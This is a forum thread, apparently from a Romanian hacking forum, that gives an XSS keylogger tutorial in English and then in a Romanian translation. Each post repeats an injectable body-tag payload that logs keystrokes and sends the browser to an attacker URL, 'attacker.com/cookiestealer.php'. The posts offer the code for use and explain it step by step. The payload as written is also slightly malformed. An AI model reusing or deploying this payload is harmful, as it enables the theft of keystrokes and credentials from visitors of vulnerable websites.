Jump to content
Screech

How to make an XSS keylogger [EN/RO]

Recommended Posts

Posted

XSS attacks are often looked at as puny or ineffective, being only a matter of being able to steal cookies, or pop up annoying boxes. You can also rewrite certain values in the HTML DOM. But XSS attacks are even more dangerous than that, and this is a perfect example of how.

First, I will give you the code to inject, then I will explain it step by step.

<body onload=key="" onkeypress=if(event.which){key=key+String.fromCharCode(event.which)}else{key=key+String.fromCharCode(event.keyCode) onunload=window.location="http://www.attacker.com/cookiestealer.php?cookie=">

It's a body tag, so whatever in the body is typed in, essentially anything on the page, will be logged.

When the page loads, it initializes the variable "key".

When a key is pressed, it finds whether the browser uses event.which (netscape-compatible) or event.keyCode (IE compatible) and converts the ASCII value of the key pressed to its character, then adds it to the end of the variable "key".

When the page is unloaded (that is, the browser window is closed or a new page is loaded, it sends the browser to a new location, namely your logging program.

Posted

L-am tradus:

Mai intai, o sa va dau codul ptr. injectie, dupa care va voi explica pas cu pas cum merge treaba.

<body onload=key="" onkeypress=if(event.which){key=key+String.fromCharCode(event.which)}else{key=key+String.fromCharCode(event.keyCode) onunload=window.location="http://www.attacker.com/cookiestealer.php?cookie=">

Este un tag body, asa ca orice este pus in body, in primul rand orice dupa pagina, va fi logat.

Cand pagina o sa fie incarcata, va initializa variabila "key".(cheia variabila)

Cand o keye va fi apasata, poti afla cand browserul foloseste evenimentul. .care (netscape-compatible) sau evenimentul.keyCode (IE compatible) si va converti valorile ASCII de la keya apasata la carecterul sau , atunci se va adauga la sfarsitul variabilei key.

Cand pagina nu este incarcata (asta este, fereastra browser-ul este inchisa sau o noua pagina este in proces de incaracare, trimite browser-ul intr-o alta locatie, namely your logging program.

Posted

Asta este tutorialul complet:

XSS attacks are often looked at as puny or ineffective, being only a matter of being able to steal cookies, or pop up annoying boxes. You can also rewrite certain values in the HTML DOM. But XSS attacks are even more dangerous than that, and this is a perfect example of how.

First, I will give you the code to inject, then I will explain it step by step.

<body onload=key="" onkeypress=if(event.which){key=key+String.fromCharCode(event.which)}else{key=key+String.fromCharCode(event.keyCode) onunload=window.location="http://www.attacker.com/cookiestealer.php?cookie=">

It's a body tag, so whatever in the body is typed in, essentially anything on the page, will be logged.

When the page loads, it initializes the variable "key".

When a key is pressed, it finds whether the browser uses event.which (netscape-compatible) or event.keyCode (IE compatible) and converts the ASCII value of the key pressed to its character, then adds it to the end of the variable "key".

When the page is unloaded (that is, the browser window is closed or a new page is loaded, it sends the browser to a new location, namely your logging program.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...